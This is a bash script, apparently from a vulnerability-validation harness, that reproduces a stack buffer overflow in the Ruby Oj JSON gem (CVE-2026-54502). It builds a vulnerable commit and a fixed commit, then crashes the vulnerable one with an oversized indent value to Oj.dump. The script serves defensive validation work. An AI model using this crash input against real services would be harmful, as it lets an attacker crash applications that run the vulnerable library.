#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$ROOT/artifacts"
mkdir -p "$LOGS"
mkdir -p "$REPRO_DIR"
mkdir -p "$ARTIFACTS"

cd "$ROOT"

# Read project cache context if available
CACHE_DIR=""
CACHE_FILE="$ROOT/project_cache_context.json"
if [[ -f "$CACHE_FILE" ]]; then
    CACHE_DIR=$(jq -r '.project_cache_dir // empty' "$CACHE_FILE" 2>/dev/null || true)
fi

SOURCE_REPO="${CACHE_DIR}/repo"
if [[ -z "$CACHE_DIR" || ! -d "$SOURCE_REPO/.git" ]]; then
    SOURCE_REPO="https://github.com/ohler55/oj.git"
fi

VULN_DIR="$ARTIFACTS/oj-vuln"
FIXED_DIR="$ARTIFACTS/oj-fixed"

# Use concrete commit SHAs to avoid tag/annotated-tag issues.
# The fix "Fix stack limits (#1014)" is at ec368db (version 3.17.2).
# Its parent 4587e87 is the vulnerable state matching v3.17.1.
FIXED_COMMIT="ec368dbe936ef0104b782e4b0f67b17d6c7276f7"
VULN_COMMIT="4587e87e23adc9a4163834dc8c9ba9d7206c6501"

LOG="$LOGS/reproduction_steps.log"
exec > >(tee -a "$LOG") 2>&1

echo "=== Oj stack buffer overflow reproduction (CVE-2026-54502) ==="
echo "ROOT=$ROOT"
echo "SOURCE_REPO=$SOURCE_REPO"
echo "VULN_COMMIT=$VULN_COMMIT"
echo "FIXED_COMMIT=$FIXED_COMMIT"

# Install Ruby and development headers
if ! command -v ruby >/dev/null 2>&1 || ! command -v gem >/dev/null 2>&1; then
    echo "Installing Ruby..."
    sudo apt-get update -qq
    sudo apt-get install -y -qq ruby ruby-dev
fi

ruby --version

# Clone or update vulnerable copy
if [[ -d "$VULN_DIR/.git" ]]; then
    echo "Updating vulnerable copy..."
    git -C "$VULN_DIR" fetch origin || true
else
    echo "Cloning vulnerable copy..."
    rm -rf "$VULN_DIR"
    git clone "$SOURCE_REPO" "$VULN_DIR"
fi

# Clone or update fixed copy
if [[ -d "$FIXED_DIR/.git" ]]; then
    echo "Updating fixed copy..."
    git -C "$FIXED_DIR" fetch origin || true
else
    echo "Cloning fixed copy..."
    rm -rf "$FIXED_DIR"
    git clone "$SOURCE_REPO" "$FIXED_DIR"
fi

build_oj() {
    local dir="$1"
    local sha="$2"
    local label="$3"

    echo "Building $label at $sha..."
    git -C "$dir" checkout -f "$sha"
    local actual_sha
    actual_sha=$(git -C "$dir" rev-parse HEAD)
    if [[ "$actual_sha" != "$sha" ]]; then
        echo "ERROR: checkout mismatch for $label (expected $sha, got $actual_sha)"
        return 1
    fi

    cd "$dir/ext/oj"
    make clean >/dev/null 2>&1 || true
    ruby extconf.rb
    make
    mkdir -p "$dir/lib/oj"
    cp "$dir/ext/oj/oj.so" "$dir/lib/oj/oj.so"
    cd "$ROOT"
}

# Writes a numeric result to a file:
# 0=SIGSEGV, 1=ArgumentError, 2=no crash, 3=unknown
run_test() {
    local dir="$1"
    local label="$2"
    local log="$LOGS/${label}.log"
    local result_file="$LOGS/${label}.result"

    echo "Running $label test..."
    local rc=0
    ruby -I"$dir/lib" -e "require 'oj'; puts Oj::VERSION; Oj.dump({a: 1}, indent: 2147483647); puts 'no crash'" >"$log" 2>&1 || rc=$?

    echo "$label exit code: $rc"
    local result=3
    if [[ $rc -eq 139 ]]; then
        echo "$label: SIGSEGV observed (exit 139)"
        result=0
    elif grep -q "Segmentation fault" "$log" || grep -q "\[BUG\] Segmentation fault" "$log"; then
        echo "$label: SIGSEGV observed in log"
        result=0
    elif grep -q "indent is limited to" "$log"; then
        echo "$label: ArgumentError (indent rejected) observed"
        result=1
    elif grep -q "no crash" "$log"; then
        echo "$label: completed without crash"
        result=2
    else
        echo "$label: unexpected result"
    fi
    echo "$result" > "$result_file"
    return 0
}

build_oj "$VULN_DIR" "$VULN_COMMIT" "vulnerable"
run_test "$VULN_DIR" "vulnerable"
VULN_RESULT=$(cat "$LOGS/vulnerable.result")

build_oj "$FIXED_DIR" "$FIXED_COMMIT" "fixed"
run_test "$FIXED_DIR" "fixed"
FIXED_RESULT=$(cat "$LOGS/fixed.result")

echo "VULN_RESULT=$VULN_RESULT"
echo "FIXED_RESULT=$FIXED_RESULT"

CONFIRMED=false
if [[ "$VULN_RESULT" == "0" && ( "$FIXED_RESULT" == "1" || "$FIXED_RESULT" == "2" ) ]]; then
    CONFIRMED=true
    echo "CONFIRMED: vulnerable version crashes with SIGSEGV, fixed version does not."
else
    echo "NOT CONFIRMED: expected vulnerable SIGSEGV (0) and fixed rejection/no-crash (1 or 2)."
fi

# Write runtime manifest
jq -n \
    --arg entrypoint_kind "library_api" \
    --arg entrypoint_detail "Oj.dump({a: 1}, indent: 2147483647)" \
    --argjson service_started false \
    --argjson healthcheck_passed false \
    --argjson target_path_reached "$CONFIRMED" \
    --argjson runtime_stack '[]' \
    --argjson proof_artifacts '["logs/reproduction_steps.log","logs/vulnerable.log","logs/fixed.log"]' \
    --arg notes "Oj.dump with indent=INT_MAX; vulnerable v3.17.1 SIGSEGV, fixed ec368db raises ArgumentError" \
    '{
        entrypoint_kind: $entrypoint_kind,
        entrypoint_detail: $entrypoint_detail,
        service_started: $service_started,
        healthcheck_passed: $healthcheck_passed,
        target_path_reached: $target_path_reached,
        runtime_stack: $runtime_stack,
        proof_artifacts: $proof_artifacts,
        notes: $notes
    }' > "$REPRO_DIR/runtime_manifest.json"

# Write validation verdict only after actual confirmation
if [[ "$CONFIRMED" == "true" ]]; then
    jq -n \
        --arg claim_outcome "confirmed" \
        --arg repro_result "confirmed" \
        --arg validated_surface "library_api" \
        --arg evidence_scope "realistic_harness" \
        --arg claimed_impact_class "memory_corruption" \
        --arg observed_impact_class "memory_corruption" \
        --arg exploitability_confidence "high" \
        --arg attacker_controlled_input "indent: 2147483647" \
        --arg trigger_path "Oj.dump({a: 1}, indent: INT_MAX)" \
        --argjson end_to_end_target_reached true \
        --argjson sanitizer_used false \
        --argjson crash_observed true \
        --argjson read_write_primitive_observed false \
        --argjson exploit_chain_demonstrated false \
        --argjson blocking_mitigation null \
        --argjson inferred false \
        '{
            claim_outcome: $claim_outcome,
            claim_block_reason: null,
            repro_result: $repro_result,
            validated_surface: $validated_surface,
            evidence_scope: $evidence_scope,
            claimed_impact_class: $claimed_impact_class,
            observed_impact_class: $observed_impact_class,
            exploitability_confidence: $exploitability_confidence,
            attacker_controlled_input: $attacker_controlled_input,
            trigger_path: $trigger_path,
            end_to_end_target_reached: $end_to_end_target_reached,
            sanitizer_used: $sanitizer_used,
            crash_observed: $crash_observed,
            read_write_primitive_observed: $read_write_primitive_observed,
            exploit_chain_demonstrated: $exploit_chain_demonstrated,
            blocking_mitigation: $blocking_mitigation,
            inferred: $inferred
        }' > "$REPRO_DIR/validation_verdict.json"
    exit 0
else
    jq -n \
        --arg claim_outcome "unknown" \
        --arg repro_result "inconclusive" \
        --arg validated_surface "library_api" \
        --arg evidence_scope "realistic_harness" \
        --arg claimed_impact_class "memory_corruption" \
        --arg observed_impact_class "none" \
        --arg exploitability_confidence "unknown" \
        --arg attacker_controlled_input "indent: 2147483647" \
        --arg trigger_path "Oj.dump({a: 1}, indent: INT_MAX)" \
        --argjson end_to_end_target_reached false \
        --argjson sanitizer_used false \
        --argjson crash_observed false \
        --argjson read_write_primitive_observed false \
        --argjson exploit_chain_demonstrated false \
        --argjson blocking_mitigation null \
        --argjson inferred false \
        '{
            claim_outcome: $claim_outcome,
            claim_block_reason: null,
            repro_result: $repro_result,
            validated_surface: $validated_surface,
            evidence_scope: $evidence_scope,
            claimed_impact_class: $claimed_impact_class,
            observed_impact_class: $observed_impact_class,
            exploitability_confidence: $exploitability_confidence,
            attacker_controlled_input: $attacker_controlled_input,
            trigger_path: $trigger_path,
            end_to_end_target_reached: $end_to_end_target_reached,
            sanitizer_used: $sanitizer_used,
            crash_observed: $crash_observed,
            read_write_primitive_observed: $read_write_primitive_observed,
            exploit_chain_demonstrated: $exploit_chain_demonstrated,
            blocking_mitigation: $blocking_mitigation,
            inferred: $inferred
        }' > "$REPRO_DIR/validation_verdict.json"
    exit 1
fi
